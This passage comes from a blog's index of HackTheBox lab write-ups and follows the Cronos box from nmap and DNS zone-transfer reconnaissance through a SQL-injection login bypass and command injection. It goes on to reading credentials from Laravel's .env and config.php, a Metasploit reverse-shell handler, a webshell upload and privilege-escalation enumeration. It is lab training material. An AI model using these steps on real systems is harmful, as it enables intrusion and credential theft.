class=\"n\"\u003eNetwork\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDistance\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehops\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux_kernel\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eTRACEROUTE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e5900\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eHOP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRTT\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003eADDRESS\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e354\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e54\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ems\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e354\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e49\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ems\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edetection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eperformed\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePlease\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eany\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eincorrect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresults\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttps\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003esubmit\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"port-80-enum-more---opennetadmin\"\u003ePort 80: enum more -\u0026gt; OpenNetAdmin\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edirb\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edirb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e---- Scanning URL: http://10.10.10.171/ ----\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e==\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDIRECTORY\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eartwork\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e                                                                          \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"k\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCODE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e200\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"k\"\u003eSIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e10918\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e                                                               \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e==\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDIRECTORY\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003emusic\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e                                                                            \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003estatus\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCODE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e403\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"k\"\u003eSIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e277\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e                                                              \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                                                                                                                     \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e---- Entering directory: http://10.10.10.171/artwork/ ----\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e==\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDIRECTORY\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eartwork\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ecss\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e                                                                      \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e==\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDIRECTORY\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eartwork\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003efonts\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1587375922870-360a8238-3f29-405c-90b5-2f5f10ada95c.png\"\u003e\u003c/p\u003e","title":"HackTheBox: OpenAdmin Notes"},{"content":"\nInformation Gathering NMAP # nmap -sV -sC -Pn -p- --min-rate 1000 -oA scans\\alltcp 10.10.10.13 Nmap scan report for 10.10.10.13 Host is up (1.0s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nothing on port 80\u0026hellip;\nPort 53: Getting the Domain Name Seeing a DNS server, I looked up how to use dig. Sure enough, there was a surprise: I found the domain bound to 10.10.10.13, and after adding it to hosts I could visit it\n# dig @10.10.10.13 -x 10.10.10.13 ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.11.5-P4-5.1-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; @10.10.10.13 -x 10.10.10.13 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 60138 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;13.10.10.10.in-addr.arpa.\tIN\tPTR ;; ANSWER SECTION: 13.10.10.10.in-addr.arpa. 604800 IN\tPTR\tns1.cronos.htb. ;; AUTHORITY SECTION: 10.10.10.in-addr.arpa.\t604800\tIN\tNS\tns1.cronos.htb. ;; ADDITIONAL SECTION: ns1.cronos.htb.\t604800\tIN\tA\t10.10.10.13 ;; Query time: 1149 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: 六 4月 18 23:46:32 UTC 2020 ;; MSG SIZE rcvd: 111 A quick explanation of the dig command arguments above\n@10.10.10.13 : query against the specified DNS server 10.10.10.13 -x 10.10.10.13 : reverse lookup for the domain name corresponding to the IP address 10.10.10.13 You can also append +short to get a condensed result Based on experience, a second-level domain with ns1 is unlikely to be the target machine\u0026rsquo;s service, so I just bound cronos.htb to the target machine\u0026rsquo;s IP and visited it — screenshot omitted.\necho \u0026#34;10.10.10.13 cronos.htb\u0026#34; \u0026gt;\u0026gt; /etc/hosts Port 80: Laravel -\u0026gt; DNS Zone Transfer -\u0026gt; Admin From the returned cookie being laravel_session and the page content, we can tell this is a PHP site built with the Laravel framework\nSearching for usable vulnerabilities, I found unix/http/laravel_token_unserialize_exec\nmsf5 exploit(unix/http/laravel_token_unserialize_exec) \u0026gt; show info Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- APP_KEY no The base64 encoded APP_KEY string from the .env file Description: This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x \u0026lt;= 5.6.29. Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, ... Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. ... In some cases the APP_KEY is leaked which allows for discovery and exploitation. Sure enough, without the APP_KEY the exploit failed, so the key sentence must be this one\nhowever exploitation requires knowledge of the Laravel APP_KEY.\nMy guess was that the intended path was to read Laravel\u0026rsquo;s configuration file .env, get the APP_KEY, and then achieve RCE to get a shell\nFine, I tried brute-forcing directories and file disclosures, browsed for an hour with nothing to show\u0026hellip;\nThen I looked at other people\u0026rsquo;s walkthroughs: DNS zone transfer vulnerability. (Actually, the thought crossed my mind as soon as I saw port 53, but I couldn\u0026rsquo;t remember the command (too lazy to search for it), so I never verified it\nDNS Zone Transfer Vulnerability Use the nslookup command on Windows\nUse the dig command on Kali\nOn Kali or BT5, use these three tools: nmap, dnswalk, dnsenum\ndig dig @10.10.10.13 -t AXFR cronos.htb ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.11.5-P4-5.1-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; @10.10.10.13 -t AXFR cronos.htb ; (1 server found) ;; global options: +cmd cronos.htb.\t604800\tIN\tSOA\tcronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb.\t604800\tIN\tNS\tns1.cronos.htb. cronos.htb.\t604800\tIN\tA\t10.10.10.13 admin.cronos.htb.\t604800\tIN\tA\t10.10.10.13 ns1.cronos.htb.\t604800\tIN\tA\t10.10.10.13 www.cronos.htb.\t604800\tIN\tA\t10.10.10.13 cronos.htb.\t604800\tIN\tSOA\tcronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 1366 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: 日 4月 19 00:47:59 UTC 2020 ;; XFR size: 7 records (messages 1, bytes 203) Nmap Later I used an Nmap script to scan for this vulnerability; at first it found nothing, which I suspected was due to the old 7.70 version, but upgrading to 7.80 still found nothing\u0026hellip; anyway, the arguments should be configured like this:\n# nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=cronos.htb -p 53 -Pn 10.10.10.13 nslookup The nslookup plus ls cronos.htb approach circulating online doesn\u0026rsquo;t work on Kali. Reproduce it the following way instead\n# nslookup \u0026gt; set q=AXFR \u0026gt; server 10.10.10.13 Default server: 10.10.10.13 Address: 10.10.10.13#53 \u0026gt; cronos.htb Server:\t10.10.10.13 Address:\t10.10.10.13#53 cronos.htb origin = cronos.htb mail addr = admin.cronos.htb serial = 3 refresh = 604800 retry = 86400 expire = 2419200 minimum = 604800 cronos.htb\tnameserver = ns1.cronos.htb. Name:\tcronos.htb Address: 10.10.10.13 Name:\tadmin.cronos.htb Address: 10.10.10.13 Name:\tns1.cronos.htb Address: 10.10.10.13 Name:\twww.cronos.htb Address: 10.10.10.13 cronos.htb origin = cronos.htb mail addr = admin.cronos.htb serial = 3 refresh = 604800 retry = 86400 expire = 2419200 minimum = 604800 axfr is one of the q-type values: axfr is short for Authoritative Transfer, meaning a request to transfer all records of a zone\nIn short, I got an admin.cronos.htb; after binding it to hosts, it was a bare-bones admin panel. Instinctively I wanted to test for injection, and the password admin'-- - got me right in — really something. The post-login page is shown below; it\u0026rsquo;s a very comfortable OS command injection.\nI tried writing a one-liner webshell, but it ended up mangled into \u0026lt;?php (['cmd']); ?\u0026gt; — there may be some filtering. Continuing to look around, I found a .welcome.php.swp in the current directory, and cat seemed to be disabled? But I could cp it to a non-executed txt file, which reads files just the same. I packed up the source code under admin and read Laravel\u0026rsquo;s .env file; by reading the Laravel framework\u0026rsquo;s CHANGLOG.md, I confirmed the version was v5.4.16, as follows\n# Release Notes ## v5.4.16 (2017-03-17) Meanwhile the msf exploit\u0026rsquo;s version requirement is 5.5.40 or 5.6.x \u0026lt; 5.6.30\nPHP Laravel Framework 5.5.40 / 5.6.x \u0026lt; 5.6.30 - token Unserialize Remote Com | exploits/linux/remote/47129.rb\nClearly it didn\u0026rsquo;t meet the version requirement for RCE; I tried anyway and it indeed failed — a rabbit\u0026rsquo;s hole\nThen I read some more passwords\nAPP_NAME=Laravel APP_ENV=local APP_KEY=base64:+fUFGL45d1YZYlSTc0Sm71wPzJejQN/K6s9bHHihdYE= APP_DEBUG=true APP_LOG_LEVEL=debug APP_URL=http://localhost ... DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=homestead DB_USERNAME=homestead DB_PASSWORD=secret ... REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379 Reverse Shell Use msfvenom to generate a reverse shell file,\nmsf5 \u0026gt; use exploit/multi/handler msf5 exploit(multi/handler) \u0026gt; set payload linux/x86/shell_reverse_tcp payload =\u0026gt; linux/x86/shell_reverse_tcp msf5 exploit(multi/handler) \u0026gt; set lhost tun0 lhost =\u0026gt; tun0 msf5 exploit(multi/handler) \u0026gt; set lport 4443 lport =\u0026gt; 4443 msf5 exploit(multi/handler) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4443 [*] Command shell session 1 opened (10.10.16.122:4443 -\u0026gt; 10.10.10.13:57000) Or, like me, after realizing the shell wasn\u0026rsquo;t a meterpreter shell, just upload a Behinder webshell\nSome passwords collected\n# config.php \u0026lt;?php define(\u0026#39;DB_SERVER\u0026#39;, \u0026#39;localhost\u0026#39;); define(\u0026#39;DB_USERNAME\u0026#39;, \u0026#39;admin\u0026#39;); define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;kEjdbRigfBHUREiNSDs\u0026#39;); define(\u0026#39;DB_DATABASE\u0026#39;, \u0026#39;admin\u0026#39;); $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE); ?\u0026gt; # Password hash of admin from the database 4f5fffa7b2340178a716e3832451e058 Decrypted result as follows 1327663704 Privilege Escalation Interactive shell\npython -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;);\u0026#39; stty raw -echo Basic info\n# uname -a Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux # cat /etc/issue Ubuntu 16.04.2 LTS SUID files\n# find / -perm -u=s 2\u0026gt; /dev/null /bin/ping /bin/umount /bin/mount /bin/fusermount /bin/su /bin/ntfs-3g /bin/ping6 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/chsh /usr/bin/newuidmap /usr/bin/sudo /usr/bin/chfn /usr/bin/newgrp /usr/bin/at /usr/bin/pkexec /usr/bin/newgidmap /usr/bin/gpasswd /usr/bin/passwd pkexec looked suspicious; I fired the msf exploit at it, without success.\nScheduled Tasks Getting ready to go all-in, I used the enumeration script linPEAS.sh and found a suspicious cron job (actually, cron jobs can be viewed with cat /etc/crontab)\n[+] Cron jobs [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-jobs -rw-r--r-- 1 root root 797 Apr 9 2017 /etc/crontab SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * *\troot\tphp /var/www/laravel/artisan schedule:run \u0026gt;\u0026gt; /dev/null 2\u0026gt;\u0026amp;1 (www-data:/var/www/admin) $ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don\u0026#39;t have to run the `crontab\u0026#39; # command to install the new version when you edit this file # and in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / \u0026amp;\u0026amp; run-parts --report /etc/cron.hourly 25 